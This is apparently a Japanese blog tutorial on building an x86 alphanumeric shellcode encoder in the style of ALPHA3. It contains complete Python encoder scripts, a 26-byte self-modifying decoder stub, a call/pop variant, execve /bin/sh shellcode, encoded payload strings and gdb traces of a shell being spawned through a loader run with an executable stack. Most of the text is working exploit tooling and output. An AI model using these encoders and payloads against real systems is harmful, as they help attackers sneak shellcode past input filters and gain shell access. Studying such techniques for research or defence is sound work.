x86 alphanumeric shellcode encoderを書いてみる
「x86 alphanumeric shellcodeを書いてみる」では、主にxorを使いシェルコードを展開した。 ここで使わなかった命令としてcmp命令、jmp系命令、imul命令があるが、これらも使うとより短いalphanumeric shellcodeを作ることができる。 ここでは、ALPHA3エンコーダの実装を参考に、任意のシェルコードをalphanumeric shellcodeに変換するエンコーダを書いてみる。
エンコーダの概要
x86においてはjmp系命令を使うことができるため、1バイトずつデコードするループを作ることができる。
また、「x86 alphanumeric shellcodeを書いてみる」でも触れたように、alphanumericなバイト同士のxorだけでは最上位ビットが1のバイト(0x80-0xff)を作ることができない。
先のエントリではxorで必要に応じて反転させていたが、imul命令を使うとより一般的な形で任意のバイトを作ることができる。
具体的には、あるxに対してx ^ (y*0x30) ^ z
の形で適当なy、zを与えることで、任意のバイトを作る。
ここでは、まず任意のシェルコードをalphanumericなバイト列に変換するエンコーダを書く。 次に、これのデコーダをアセンブリコードで書き、最後にこれらを繋げて最終的なシェルコードを出力するフルエンコーダを作る。
Pythonでエンコーダを書いてみる
まずは、上で説明した方法でシェルコードを変換するエンコーダを書いてみる。
# alnum_encoder.py import sys first_byte = int(sys.argv[1], 16) chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b) pairs = [(y, z) for y in chars for z in chars] data = chr(first_byte) data += sys.stdin.read() data += '\x00' encoded = [0x30] print >>sys.stderr, "[+] %02x" % encoded[0] for i, c in enumerate(data): original_byte = ord(c) x = encoded[i] for y, z in pairs: if (x^(y*0x30)^z) & 0xFF == original_byte: print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z) encoded += [y, z] break else: raise Exception("something wrong: %02x" % original_byte) print bytearray(encoded)
このコードは標準入力からシェルコードを受け取るのと同時に、追加で生成する先頭1バイトの値を引数に取る。 この1バイトは、後述するデコーダのループ部の構築に利用する。 また、シェルコードの後にも0x00を追加している。 これは、デコーダにおけるループの終了判定に使う。
処理の内容としては、1バイトずつ総当たりで条件を満たすy, zを探索している。 ここで、計算のベースとなるxはすでにエンコード済みのバイト列から1バイトずつ順に利用している。 こうすることで、1つのバイトのエンコードのために新たに必要なバイトは2バイトとなる。
普通のシェルコードをファイルに書き出し、エンコードしてみる。
$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ cat execve | python alnum_encoder.py 0x90 [+] 30 [+] 90: 33 30 [+] 31: 31 32 [+] d2: 33 72 [+] 52: 30 63 [+] 68: 30 5a [+] 2f: 37 4c [+] 2f: 31 6d [+] 73: 30 43 [+] 68: 32 6b [+] 68: 30 58 [+] 2f: 30 75 [+] 62: 30 55 [+] 69: 32 45 [+] 6e: 31 6f [+] 89: 33 74 [+] e3: 33 43 [+] 52: 32 71 [+] 53: 30 61 [+] 89: 33 72 [+] e1: 33 41 [+] 8d: 33 45 [+] 42: 30 72 [+] 0b: 31 4e [+] cd: 33 6d [+] 80: 33 45 [+] 00: 30 32 030123r0c0Z7L1m0C2k0X0u0U2E1o3t3C2q0a3r3A3E0r1N3m3E02
出力からわかるように、このエンコーダはnバイトの入力を2*n+5バイトに変換する。
アセンブリでデコーダを書いてみる
次に、エンコードされたバイト列を元に戻すデコーダをアセンブリで書いてみる。
/* alnum_decoder.s */ .intel_syntax noprefix .globl _start _start: push eax pop ecx /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */ push 0x33333333 .byte 0x6b, 0x34, 0x64, 0x73 /* imul esi, [esp+2*eiz], 0x73 */ decoder: inc esi imul eax, [ecx+2*esi-0x1a+0x61], 0x30 xor al, [ecx+2*esi-0x1a+0x62] xor [ecx+esi+0x30], al .byte 0x75 /* jne decoder = 75 f0 */ data: /* encoded data here (offset 0x1a) */
このコードはeaxレジスタに先頭のアドレスが入っていることを前提とする。
eax以外のレジスタの場合は、最初のpush eax
に対応する1バイトを書き換えればよい。
また、最後の部分にはエンコードされたバイト列を置く。
デコーダはこれらを1バイトずつデコードしていき、0x00が出力されたタイミングでループを抜け、デコードされたシェルコードに処理を移す。
このコードは、SIBにおけるindexレジスタがesiのときのみscaleに2だけでなく1も使えることに着目し、esiをカウンタとして使う。
さらに、esiの初期値のセットにpush imm32
とimul esi, [esp+2*eiz], imm8
を使う。
eizはSIBバイトにてscaleが0以外かつindexレジスタが存在しない場合において擬似的に表示されるレジスタ名である。
通常imul esi, [esp], imm8
は6B 34 24 imm8
とアセンブルされalphanumericにならないが、意図的にこの形を用いることでalphanumericにできる。
ただし、アセンブリ構文としてeizレジスタを書くことはできないので、ここでは対応するバイト列を直接記述している。
esiの初期値を作るために必要な値は次のスクリプトを使って調べた。
# decomposite.py import sys target = int(sys.argv[1], 16) chars = range(0x30, 0x3a) + range(0x40, 0x5b) + range(0x60, 0x7b) pairs = [(x, y) for x in chars for y in chars] for x, y in pairs: for i in range(0x100): if ((x*y) & 0xFF == 0xFF-i) and ((x*y)>>8 == i): x *= 0x01010101 # 0x41 => 0x41414141 if (x*y) & 0xFFFFFFFF == target: print "%08x * %02x == %08x" % (x, y, x*y)
このコードは目的となる初期値を引数に取り、総当たりで条件を満たす値の組み合わせを探索する。
$ python decomposite.py 0xffffffe9 33333333 * 73 == 16ffffffe9 45454545 * 55 == 16ffffffe9 55555555 * 45 == 16ffffffe9 73737373 * 33 == 16ffffffe9
ここでは、一番上の組み合わせを利用した。
ループでは、カウンタであるesiをインクリメントしながら、対応するx, y, zを用いて1バイトずつデコードしていく。 ループの終了条件にはxorの結果が0となったときZero flagが立つことを利用し、jne命令にて分岐を行う。 ここで、jne命令の相対アドレス指定は負数となるため、この部分のバイト(0xf0)もデコーダに作らせるようにする。
アセンブルしてバイト列を確認すると、すべてalphanumericにできていることがわかる。
$ gcc -nostdlib alnum_decoder.s $ objdump -d a.out 08048098 <_start>: 8048098: 50 push eax 8048099: 59 pop ecx 804809a: 68 33 33 33 33 push 0x33333333 804809f: 6b 34 64 73 imul esi,DWORD PTR [esp+eiz*2],0x73 080480a3 <decoder>: 80480a3: 46 inc esi 80480a4: 6b 44 71 47 30 imul eax,DWORD PTR [ecx+esi*2+0x47],0x30 80480a9: 32 44 71 48 xor al,BYTE PTR [ecx+esi*2+0x48] 80480ad: 30 44 31 30 xor BYTE PTR [ecx+esi*1+0x30],al 80480b1: 75 .byte 0x75 $ objdump -s a.out a.out: file format elf32-i386 Contents of section .note.gnu.build-id: 8048074 04000000 14000000 03000000 474e5500 ............GNU. 8048084 a7de8288 295ebbb2 04c34dbe e1a3eb6c ....)^....M....l 8048094 6dd82455 m.$U Contents of section .text: 8048098 50596833 3333336b 34647346 6b447147 PYh3333k4dsFkDqG 80480a8 30324471 48304431 3075 02DqH0D10u $ strings -n8 a.out PYh3333k4dsFkDqG02DqH0D10u
このshellcode decoderのサイズは26バイトである。
シェルコードにジャンプさせてみる
最初の1バイトを0xf0とした上で、普通のシェルコードをエンコードすると次のようになる。
$ cat execve | python alnum_encoder.py 0xf0 [+] 30 [+] f0: 33 50 [+] 31: 31 32 [+] d2: 34 42 [+] 52: 30 63 [+] 68: 30 5a [+] 2f: 37 4b [+] 2f: 30 6d [+] 73: 30 43 [+] 68: 32 6b [+] 68: 30 58 [+] 2f: 30 75 [+] 62: 30 55 [+] 69: 32 42 [+] 6e: 31 6e [+] 89: 33 74 [+] e3: 33 43 [+] 52: 32 71 [+] 53: 30 61 [+] 89: 33 72 [+] e1: 33 41 [+] 8d: 33 45 [+] 42: 30 72 [+] 0b: 31 4e [+] cd: 33 6d [+] 80: 33 45 [+] 00: 30 32 03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02
第一引数に与えたシェルコードにジャンプするコードを書いてみる。
/* loader.c */ int main(int argc, char *argv[]) { (*(void (*)())argv[1])(); }
DEP無効にてコンパイルし、デコーダとエンコード済みバイト列を繋げたものを引数として実行してみる。
$ gcc -z execstack loader.c $ decoder=PYh3333k4dsFkDqG02DqH0D10u $ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02 $ ./a.out "$decoder$data" $ id uid=1000(user) gid=1000(user) groups=1000(user) $
デコーダによりシェルコードが展開され、シェルが起動できていることが確認できた。
gdbで動作を確認してみる
実行時の動作をgdbを使って調べてみる。
--args
オプションを使い、引数を与えた状態でgdbを起動する。
次に、シェルコードにジャンプする直前まで処理を進めてみる。
$ gdb -q --args a.out "$decoder$data" Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x80483b7 Starting program: /home/user/tmp/a.out PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02 Temporary breakpoint 1, 0x080483b7 in main () (gdb) disp/i $pc 1: x/i $pc => 0x80483b7 <main+3>: and esp,0xfffffff0 (gdb) disas Dump of assembler code for function main: 0x080483b4 <+0>: push ebp 0x080483b5 <+1>: mov ebp,esp => 0x080483b7 <+3>: and esp,0xfffffff0 0x080483ba <+6>: mov eax,DWORD PTR [ebp+0xc] 0x080483bd <+9>: add eax,0x4 0x080483c0 <+12>: mov eax,DWORD PTR [eax] 0x080483c2 <+14>: call eax 0x080483c4 <+16>: leave 0x080483c5 <+17>: ret End of assembler dump. (gdb) u *main+14 0x080483c2 in main () 1: x/i $pc => 0x80483c2 <main+14>: call eax
シェルコードにジャンプし、最初の1バイトのデコード前と後の様子を調べてみる。
(gdb) si 0xbffff91e in ?? () 1: x/i $pc => 0xbffff91e: push eax (gdb) x/10i $pc => 0xbffff91e: push eax 0xbffff91f: pop ecx 0xbffff920: push 0x33333333 0xbffff925: imul esi,DWORD PTR [esp+eiz*2],0x73 0xbffff929: inc esi 0xbffff92a: imul eax,DWORD PTR [ecx+esi*2+0x47],0x30 0xbffff92f: xor al,BYTE PTR [ecx+esi*2+0x48] 0xbffff933: xor BYTE PTR [ecx+esi*1+0x30],al 0xbffff937: jne 0xbffff969 0xbffff939: xor edx,DWORD PTR [eax+0x31] (gdb) b *0xbffff933 Breakpoint 2 at 0xbffff933 (gdb) c Continuing. Breakpoint 2, 0xbffff933 in ?? () 1: x/i $pc => 0xbffff933: xor BYTE PTR [ecx+esi*1+0x30],al (gdb) x/2bx $ecx+$esi*2+0x47 0xbffff939: 0x33 0x50 (gdb) x/bx $ecx+$esi+0x30 0xbffff938: 0x30 (gdb) si 0xbffff937 in ?? () 1: x/i $pc => 0xbffff937: jne 0xbffff929 (gdb) x/bx $ecx+$esi+0x30 0xbffff938: 0xf0
最初jne 0xbffff969
だった箇所が、デコード後jne 0xbffff929
になっていることがわかる。
ここで、0xbffff929はinc esi
のあるアドレスであり、ループが完成している。
これは、0x30 ^ (0x33*0x30) ^ 0x50 == 0x9f0
が実行され、alレジスタに対応する0xf0
が75の後に書き込まれたためである。
次のループも確認してみる。
(gdb) c Continuing. Breakpoint 2, 0xbffff933 in ?? () 1: x/i $pc => 0xbffff933: xor BYTE PTR [ecx+esi*1+0x30],al (gdb) x/2bx $ecx+$esi*2+0x47 0xbffff93b: 0x31 0x32 (gdb) x/bx $ecx+$esi+0x30 0xbffff939: 0x33 (gdb) si 0xbffff937 in ?? () 1: x/i $pc => 0xbffff937: jne 0xbffff929 (gdb) x/bx $ecx+$esi+0x30 0xbffff939: 0x31
ここでは、0x33 ^ (0x31*0x30) ^ 0x32 == 0x931
が実行され、alレジスタに対応する0x31
が次の場所に書き込まれている。
これは与えたシェルコードの1バイト目である。
以降、esiをインクリメントしながら1バイトずつ書き込みが行われていき、0x00
が書き込まれたタイミングでループを抜けることになる。
ブレークポイントを設定し直し、デコードされた後の様子を調べてみる。
(gdb) d Delete all breakpoints? (y or n) y (gdb) b *0xbffff939 Breakpoint 3 at 0xbffff939 (gdb) c Continuing. Breakpoint 3, 0xbffff939 in ?? () 1: x/i $pc => 0xbffff939: xor edx,edx (gdb) x/10i $pc => 0xbffff939: xor edx,edx 0xbffff93b: push edx 0xbffff93c: push 0x68732f2f 0xbffff941: push 0x6e69622f 0xbffff946: mov ebx,esp 0xbffff948: push edx 0xbffff949: push ebx 0xbffff94a: mov ecx,esp 0xbffff94c: lea eax,[edx+0xb] 0xbffff94f: int 0x80 (gdb) c Continuing. process 2299 is executing new program: /bin/dash $ [Inferior 1 (process 2299) exited normally] (gdb) quit
0x00が書き込まれた結果ループを抜け、デコードされたシェルコードに処理が移っていることがわかる。
バッファのアドレスが入ったレジスタがない場合を考える
上で作ったデコーダはeaxレジスタに先頭アドレスが入っていることを前提としていた。 Metaploitのx86/alpha_mixedエンコーダにならい、このようなレジスタが使えない場合についても考えてみる。
call命令が直後の命令の置かれたアドレスをスタックに積むことを利用し、ecxに先頭アドレスをセットするコードを書くと次のようになる。
/* alnum_decoder2.s */ .intel_syntax noprefix .globl _start _start: jmp caller callee: jmp base caller: call callee base: pop ecx inc esi /* padding */ /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */ push 0x33333333 .byte 0x6b, 0x34, 0x64, 0x73 /* imul esi, [esp+2*eiz], 0x73 */ decoder: inc esi imul eax, [ecx+2*esi-0x1a+0x61], 0x30 xor al, [ecx+2*esi-0x1a+0x62] xor [ecx+esi+0x30], al .byte 0x75 /* jne decoder = 75 f0 */ data: /* encoded data here (offset 0x1a) */
ここでは先に書いたコードとオフセットが一致するように、パディングを加えている。
アセンブルしてバイト列を確認してみると、次のようになる。
$ gcc -nostdlib alnum_decoder2.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75 $ python Python 2.7.3 (default, Feb 27 2014, 20:00:17) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75' '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u' >>> len(_) 35 >>>
この場合のshellcode encoderのサイズは35バイトである。 また、alphanumericなコードにはならない。
エンコード済みシェルコードと繋げ、実行させてみると次のようになる。
$ gcc -z execstack loader.c $ decoder=$'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u' $ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02 $ ./a.out "$decoder$data" $ id uid=1000(user) gid=1000(user) groups=1000(user) $
call命令とpop命令によりシェルコードが置かれたアドレスが解決され、シェルが起動できていることがわかる。
フルエンコーダを書いてみる
最後に、シェルコードをエンコードした上でデコーダと繋げるフルエンコーダを書いてみる。
# alnum_encode.py import sys buffer_register = sys.argv[1] if len(sys.argv) > 1 else None chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b) pairs = [(y, z) for y in chars for z in chars] regs = ['eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi'] data = '\xf0' data += sys.stdin.read() data += '\x00' encoded = [0x30] print >>sys.stderr, "[+] %02x" % encoded[0] for i, c in enumerate(data): original_byte = ord(c) x = encoded[i] for y, z in pairs: if (x^(y*0x30)^z) & 0xFF == original_byte: print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z) encoded += [y, z] break else: raise Exception("something wrong: %02x" % original_byte) if buffer_register: try: r = regs.index(buffer_register.lower()) except ValueError: raise Exception("unsupported register: %s" % buffer_register) # push reg; pop ecx print >>sys.stderr, "[+] using buffer register: %s" % buffer_register buf = chr(0x50+r) + 'Y' else: # set ecx by using call print >>sys.stderr, "[+] not using buffer register" buf = '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYF' buf += 'h3333k4dsFkDqG02DqH0D10u' buf += str(bytearray(encoded)) print >>sys.stderr, "[+] encoded %d bytes => %d bytes" % (len(data)-2, len(buf)) print repr(buf)
このコードは引数にシェルコードの先頭アドレスが入っているレジスタ名を取る。 また、引数を与えなかった場合は、call命令により先頭アドレスを取得するデコーダを使う。
普通のシェルコードを入力とし、実行してみると次のようになる。
$ cat execve | python alnum_encode.py eax [+] 30 [+] f0: 33 50 [+] 31: 31 32 [+] d2: 34 42 [+] 52: 30 63 [+] 68: 30 5a [+] 2f: 37 4b [+] 2f: 30 6d [+] 73: 30 43 [+] 68: 32 6b [+] 68: 30 58 [+] 2f: 30 75 [+] 62: 30 55 [+] 69: 32 42 [+] 6e: 31 6e [+] 89: 33 74 [+] e3: 33 43 [+] 52: 32 71 [+] 53: 30 61 [+] 89: 33 72 [+] e1: 33 41 [+] 8d: 33 45 [+] 42: 30 72 [+] 0b: 31 4e [+] cd: 33 6d [+] 80: 33 45 [+] 00: 30 32 [+] using buffer register: eax [+] encoded 24 bytes => 79 bytes 'PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02' $ cat execve | python alnum_encode.py [+] 30 [+] f0: 33 50 [+] 31: 31 32 [+] ... [+] 00: 30 32 [+] not using buffer register [+] encoded 24 bytes => 88 bytes '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02'
ここで生成されたコードは、先に動作を確認したものと同じである。